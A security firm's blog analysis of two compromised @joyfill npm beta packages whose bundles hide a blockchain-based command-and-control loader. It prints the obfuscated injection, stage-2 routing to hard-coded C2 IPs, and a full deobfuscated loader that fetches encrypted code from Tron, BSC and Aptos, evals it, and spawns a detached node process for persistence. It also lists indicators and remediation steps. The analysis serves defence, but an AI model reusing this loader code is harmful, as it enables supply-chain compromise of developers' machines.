Joyfill npm Packages Compromised with Blockchain C2 Loader

SafeDep Team
8 min read

Table of Contents

Two beta versions published to the @joyfill npm scope on July 28, 2026 carried the same blockchain C2 loader documented in the astro.config.mjs attack. The compromised packages are @joyfill/[email protected] and @joyfill/[email protected]. The malicious versions were unpublished from npm within hours but remain cached on registry mirrors. Both the primary Tron dead drop address (TMfKQEd7TJJa5xNZJZ2Lep838vrzrs7mAP) and the BSC relay wallet (0x9bc1355344b54dedf3e44296916ed15653844509) are identical to the earlier campaign, confirming this is the same operator.

Attack structure

The attack targeted a legitimate package scope. Joyfill is a form-builder SDK with three npm maintainers and a release history going back to March 2023. The attacker published through the existing scope rather than typosquatting a new one, using the beta dist-tag to avoid overwriting the latest version. The 2773 version segment mimics a CI build number, consistent with the project’s existing naming convention (prior builds used 1771, 1991, 2273).

The compromise is a two-package chain. @joyfill/[email protected] declares a dependency on @joyfill/[email protected]. The payload lives exclusively in the layouts package. Installing the malicious components version pulls in the malicious layouts version, and the payload executes at require() time as a side effect of the bundled module.

// @joyfill/[email protected] package.json (diff vs clean rc24)
"@joyfill/layouts": "0.1.2-1771.beta.5",
"@joyfill/layouts": "0.1.2-2773.beta.0",

No install scripts. No preinstall or postinstall hooks. The malicious code is inside dist/index.cjs.js and dist/index.es.js, the production JavaScript bundles that execute when any consuming application imports the package.

Payload injection

The clean @joyfill/[email protected] ships a 37,318-line CJS bundle. The malicious 0.1.2-2773.beta.0 replaces it with a 1,271-line rebuild using vite-plugin-css-injected-by-js (new to this version). The attacker inserted 62 lines of obfuscated code between the last utility function (sortLayoutItemsByColRow) and the module’s FieldLayoutTypes constant:

// dist/index.cjs.js, injected after line 861 of the malicious bundle
// (line 863 in the file, between sortLayoutItemsByColRow and FieldLayoutTypes)
global['!'] = '9-0135-3';
var _$_1e42 = (function (l, e) {
var h = l.length;
var g = [];
for (var j = 0; j < h; j++) {
g[j] = l.charAt(j);
}
for (var j = 0; j < h; j++) {
var s = e * (j + 489) + (e % 19597);
var w = e * (j + 659) + (e % 48014);
var t = s % h;
var p = w % h;
var y = g[t];
g[t] = g[p];
g[p] = y;
e = (s + w) % 4573868;
}
// ... string split/join chain produces ["r", "object", "m"]
})('rmcej%otb%', 2857687);
global[_$_1e42[0]] = require; // global["r"] = require

The injection sets global["!"] = "9-0135-3", the same campaign marker format documented in the astro.config.mjs analysis. It then exposes require and module onto the global object (necessary for the blockchain loader to use Node.js https and child_process modules from inside a bundled ES module context).

Deobfuscation

The obfuscation uses three layers of character-shuffling functions to hide a call to the Function constructor:

  1. sfL shuffle: A character-swap permutation using a numeric seed (2667686). Applied to the string "wuqktamceigynzbosdctpusocrjhrflovnxrt", the first 11 characters decode to "constructor".
  2. sfL["constructor"] resolves to Function (since sfL is a function object, its constructor property is Function).
  3. Two large string literals are decoded through sfL, then passed to Function() to construct the loader.

The fully deobfuscated stage 1 loader is in the appendix below. It exposes require and module on the global object, sets campaign marker global["!"] = "9-0135-3", then runs a blockchain C2 fetch with XOR decryption and eval(). A fallback path spawns a detached node -e child process for persistence.

The blockchain dead drop (still live)

The C2 resolution chain is identical to the one we documented for PolinRider:

  1. Tron: Query TMfKQEd7TJJa5xNZJZ2Lep838vrzrs7mAP via api.trongrid.io. Decode the raw_data.data hex field to UTF-8, reverse it. The result is a BSC transaction hash.
  2. BSC: Query bsc-dataseed.binance.org (or bsc-rpc.publicnode.com as fallback) with eth_getTransactionByHash. Strip the 0x prefix from tx.input, decode hex to UTF-8, split on ?.?, take the second segment.
  3. XOR decrypt with the hardcoded key and eval().

At time of analysis, both Tron addresses are still returning transactions. The primary dead drop resolves to BSC transaction 0x18a8420f727f2405f9d1805ad887b31029b584b2ff5a7ec0f57c72635183e99d, sent from attacker wallet 0x9bc1355344b54dedf3e44296916ed15653844509 to the burn address 0x...dead. The input field carries 5,855 bytes of XOR-encrypted JavaScript.

The fallback C2 path adds persistence: if the primary eval() fails, the payload is launched as a detached node -e child process with windowsHide: true and stdio: "ignore", keeping it alive after the parent Node.js process exits.

Stage 2: C2 server selection and second blockchain fetch

Decrypting the primary BSC payload reveals a second loader wrapped in three more obfuscation layers (same NVu shuffle + Function constructor technique). After static deobfuscation, stage 2 performs two operations.

Campaign-aware C2 routing. Stage 2 reads the campaign marker (global._V, which is "A9-0135-3" for the joyfill payload) and selects an HTTP C2 server based on its prefix:

// Stage 2 C2 routing (deobfuscated from _$_9f51 string table)
_V = global['_V'] || 0;
if (_V[0] === 'A' || _V === '0') {
global['_t_s'] = 'http://166.88.134.62:443';
global['_t_u'] = 'http://166.88.134.62';
} else if (!isNaN(parseInt(_V))) {
global['_t_s'] = 'http://198.105.127.210:443';
global['_t_u'] = 'http://198.105.127.210';
} else {
global['_t_s'] = 'http://23.27.202.27:443';
global['_t_u'] = 'http://23.27.202.27:27017';
}
// Set up a SECOND Tron dead drop address for the next fetch
global['_t_1'] = 'TA48dct6rFW8BXsiLAtjFaVFoSuryMjD3v';
global['_t_2'] = '0x533b2dbcaeff19cd1f799234a27b578d713d8fcaa341b7501e4526106483e0b1';

Since the joyfill campaign marker starts with "A", the selected C2 server is 166.88.134[.]62. These are the same three servers documented in the astro.config.mjs investigation.

Second blockchain fetch. Stage 2 then runs the same Tron-to-BSC resolver again, this time with Tron address TA48dct6rFW8BXsiLAtjFaVFoSuryMjD3v and Aptos hash 0x533b2db... (stored in global._t_1 and global._t_2 by the routing logic above). The result is XOR-decrypted with the same key (2[gWfGj;<:-93Z^C) and eval()’d as stage 3.

// Stage 2 inner function (deobfuscated from _$_56c8 string table)
// Identical blockchain resolver pattern, different Tron address
var n = await t(
'2[gWfGj;<:-93Z^C', // Same XOR key as stage 1
global['_t_1'], // TA48dct6rFW8BXsiLAtjFaVFoSuryMjD3v
global['_t_2'] // 0x533b2dbcaeff19cd1f799234a27b578d713d8fcaa341b7501e4526106483e0b1
);
eval(n); // Execute stage 3

Stage 2 also saves __dirname and __filename into global.___dirname and global.___filename, preserving the execution context for later stages. A base64-encoded block sets a debounce guard (global._t_t) and stores the function’s own source code in global._t_c, likely for self-replication by stage 3.

The full chain is therefore: npm bundle → Tron A → BSC → stage 2 → Tron B → BSC → stage 3 (bot client). Two separate Tron addresses, two separate BSC fetches, each with independent Aptos fallbacks.

Decrypting stage 3 produces a 77KB LZ-compressed RAT client matching the PolinRider bot client structure. The fingerprints are identical: XB3pRQO/IvUhGI environment probes, veN854 reconnect function, lpVxjTQ command listener, and iwd7Ox self-restart loop, all documented in the astro.config.mjs post. The joyfill variant delivers this bot entirely through the blockchain dead drop, skipping the HTTP /$/boot beacon the astro attack used for the same payload.

What changed from the astro.config attack

The blockchain C2 infrastructure is identical: same Tron address, same BSC relay wallet, same Aptos fallback, same ?.? delimiter, same XOR decryption pattern. The differences are in the delivery mechanism.

Aspectastro.config.mjs attack@joyfill attack
VectorMalicious pull request against GitHub repoCompromised npm package beta channel
TriggerBuild-time (astro build/dev/preview)Import-time (require()/import)
VisibilityHidden after horizontal whitespace in PR diffInjected into production JS bundle, no PR review
HTTP C2 beaconStage B beacons C2 immediatelyC2 IPs set in stage 2, used in stage 3
Campaign markerglobal["!"] set at payload initglobal["!"] = "9-0135-3"
XOR keysThZG+0jfXE6VAGOJ (HTTP C2 path)2[gWfGj;<:-93Z^C / m6:tTh^D)cBz?NM]

The @joyfill attack defers the HTTP C2 beacon to stage 2, routing through two rounds of blockchain fetches before the C2 server URLs are even set. Initial network connections from the npm bundle go exclusively to legitimate public blockchain API endpoints (api.trongrid.io, bsc-dataseed.binance.org, fullnode.mainnet.aptoslabs.com). That makes early-stage detection through network monitoring harder.

Timeline

Time (UTC)Event
2026-07-28 10:54@joyfill/[email protected] published
2026-07-28 11:03@joyfill/[email protected] published
2026-07-28 13:57@joyfill/[email protected] published (clean)
2026-07-28 14:01@joyfill/[email protected] published (clean)
2026-07-28 ~21:00Malicious versions unpublished from npm

The malicious versions were live for roughly 10 hours. Clean versions were pushed within 3 hours, suggesting the maintainers detected the compromise and responded. The malicious versions remain cached on third-party mirrors like registry.npmmirror.com.

Indicators of compromise

joyfill-blockchain-c2-iocs.csv
Indicator Type Stage Context
1 @joyfill/[email protected] npm package 1 Malicious package containing blockchain C2 loader
2 @joyfill/[email protected] npm package 1 Chains to malicious layouts via dependency
3 adc4af90540d33cd1e98f44b51482ae9250fbeb97d6f8d7841c81b618cb2c6e6 SHA-256 1 layouts tarball hash
4 bcc93dc55bc7daedf4ca57254f0e7a7f1c40e09851eab98fe10cde801982db17 SHA-256 1 components tarball hash
5 TMfKQEd7TJJa5xNZJZ2Lep838vrzrs7mAP Tron address 1 Primary dead drop (shared with astro.config.mjs campaign)
6 TXfxHUet9pJVU1BgVkBAbrES4YUc1nGzcG Tron address 1 Fallback dead drop
7 0x9bc1355344b54dedf3e44296916ed15653844509 BSC wallet 1 Attacker relay wallet (sends to 0x...dead)
8 0xbe037400670fbf1c32364f762975908dc43eeb38759263e7dfcdabc76380811e Aptos tx hash 1 Primary Aptos fallback
9 0x3f0e5781d0855fb460661ac63257376db1941b2bb522499e4757ecb3ebd5dce3 Aptos tx hash 1 Fallback Aptos fallback
10 TA48dct6rFW8BXsiLAtjFaVFoSuryMjD3v Tron address 2 Stage 2 dead drop (second blockchain fetch)
11 0x533b2dbcaeff19cd1f799234a27b578d713d8fcaa341b7501e4526106483e0b1 Aptos tx hash 2 Stage 2 Aptos fallback
12 166.88.134.62 C2 IP 2 Campaign prefix "A" (joyfill)
13 198.105.127.210 C2 IP 2 Numeric campaign marker
14 23.27.202.27:27017 C2 IP 2 Default fallback
15 global[!] = 9-0135-3 Campaign marker 1 Payload variant identifier
16 global[_V] = A9-0135-3 Campaign ID 1 Passed to spawned child process
16 rows
| 4 columns

If your lockfile pins either of the two malicious versions, rotate any secrets that were present in the environment where npm install or a build ran. The payload executes at import time, not install time, so the exposure window extends to any process that loaded the package.

Deobfuscated payload

Full static reconstruction of the blockchain C2 loader. Nothing below was executed. Variable names are restored from the _$_ccfc string table; the three obfuscation layers (_$_1e42 shuffle, sfL permutation, Function constructor packing) are unwound.

joyfill-blockchain-c2-deobfuscated.js
// FULLY DEOBFUSCATED @joyfill/[email protected] PAYLOAD
// For analysis only - NOT executable
// Static reconstruction from three obfuscation layers:
//   1. _$_1e42 string-shuffle (seed 2857687)
//   2. sfL character-swap permutation (seed 2667686)
//   3. Function constructor with nested string table (_$_ccfc)

// --- Stage 0: Global setup (injected between legitimate layout utility code) ---
global["!"] = "9-0135-3";                  // Campaign marker
global["r"] = require;                      // Expose require globally
global["m"] = module;                       // Expose module globally

// --- Stage 1: Blockchain-based C2 loader ---
(async () => {
  const i = global;
  i["_V"] = "A" + global["!"];             // "A9-0135-3" - version/campaign ID

  // HTTPS GET helper
  async function c(url) {
    return new Promise((resolve, reject) => {
      require("https").get(url, (response) => {
        let data = "";
        response.on("data", (chunk) => { data += chunk });
        response.on("end", () => {
          try { resolve(JSON.parse(data)) }
          catch (e) { reject(e) }
        });
      }).on("error", (e) => { reject(e) }).end();
    });
  }

  // JSON-RPC POST helper (for BSC/Ethereum nodes)
  async function s(method, params = [], hostname) {
    return new Promise((resolve, reject) => {
      const body = JSON.stringify({ jsonrpc: "2.0", method, params, id: 1 });
      const opts = { hostname, method: "POST" };
      const req = require("https").request(opts, (response) => {
        let data = "";
        response.on("data", (chunk) => { data += chunk });
        response.on("end", () => {
          try { resolve(JSON.parse(data)) }
          catch (e) { reject(e) }
        });
      }).on("error", (e) => { reject(e) });
      req.write(body);
      req.end();
    });
  }

  // Core C2 function: fetch XOR-encrypted payload from blockchain transactions
  async function t(xorKey, tronAddress, aptosHash) {
    let encodedPayload;

    // Try Tron first
    try {
      encodedPayload = Buffer.from(
        (await c("https://api.trongrid.io/v1/accounts/" + tronAddress +
          "/transactions?only_confirmed=true&only_from=true&limit=1"))
          .data[0].raw_data.data,
        "hex"
      ).toString("utf8").split("").reverse().join("");

      if (!encodedPayload) throw new Error();
    } catch (e) {
      // Fallback to Aptos
      encodedPayload = (await c(
        "https://fullnode.mainnet.aptoslabs.com/v1/accounts/" + aptosHash +
          "/transactions?limit=1"
      ))[0].payload.arguments[0];
    }

    // Fetch BSC transaction using the hash from Tron/Aptos
    let txInput;
    async function fetchFromBSC(hostname) {
      return Buffer.from(
        (await s("eth_getTransactionByHash", [encodedPayload], hostname))
          .result.input.substring(2),
        "hex"
      ).toString("utf8").split("?.?")[1];
    }

    try {
      txInput = await fetchFromBSC("bsc-dataseed.binance.org");
      if (!txInput) throw new Error();
    } catch (e) {
      txInput = await fetchFromBSC("bsc-rpc.publicnode.com");
    }

    // XOR decrypt the payload using the provided key
    return ((encrypted) => {
      const keyLen = xorKey.length;
      let decrypted = "";
      for (let i = 0; i < encrypted.length; i++) {
        const keyChar = xorKey.charCodeAt(i % keyLen);
        decrypted += String.fromCharCode(encrypted.charCodeAt(i) ^ keyChar);
      }
      return decrypted;
    })(txInput);
  }

  // --- Execution ---

  // Debounce: skip if last run was < 30 seconds ago
  const now = (new Date()).getTime();
  try {
    if (global["_p_t"] && now - global["_p_t"] < 30000) return;
  } catch (e) {}
  global["_p_t"] = now;

  // Primary C2 channel
  try {
    const payload = await t(
      "2[gWfGj;<:-93Z^C",                    // XOR key
      "TMfKQEd7TJJa5xNZJZ2Lep838vrzrs7mAP",  // Tron address
      "0xbe037400670fbf1c32364f762975908dc43eeb38759263e7dfcdabc76380811e" // Aptos hash
    );
    eval(payload);  // Execute stage 2
  } catch (e) {}

  // Fallback C2 channel + persistent execution via detached child process
  try {
    const payload = await t(
      "m6:tTh^D)cBz?NM]",                    // XOR key
      "TXfxHUet9pJVU1BgVkBAbrES4YUc1nGzcG",  // Tron address
      "0x3f0e5781d0855fb460661ac63257376db1941b2bb522499e4757ecb3ebd5dce3" // Aptos hash
    );

    // Spawn detached node process for persistence
    require("child_process").spawn("node", [
      "-e",
      "global['_V']='" + (global["_V"] || 0) + "';" + payload + ""
    ], {
      detached: true,
      stdio: "ignore",
      windowsHide: true
    }).on("error", (e) => {
      eval(payload);  // Fallback: eval directly if spawn fails
    });
  } catch (e) {}
})();
JS 141 lines

References

  • supply-chain
  • malware
  • npm
  • blockchain
  • joyfill

Author

SafeDep Logo

SafeDep Team

safedep.io

Share

The Latest from SafeDep blogs

Follow for the latest updates and insights on open source security & engineering

AsyncAPI Packages Compromised with Miasma RAT

AsyncAPI Packages Compromised with Miasma RAT

Four @asyncapi npm packages were published with obfuscated malware on July 14, 2026 via compromised CI workflows. The payload downloads Miasma RAT, a credential stealer targeting browsers, SSH keys,...

SafeDep Team
Background
SafeDep Logo

Ship Code.

Not Malware.

Start free with open source tools on your machine. Scale to a unified platform for your organization.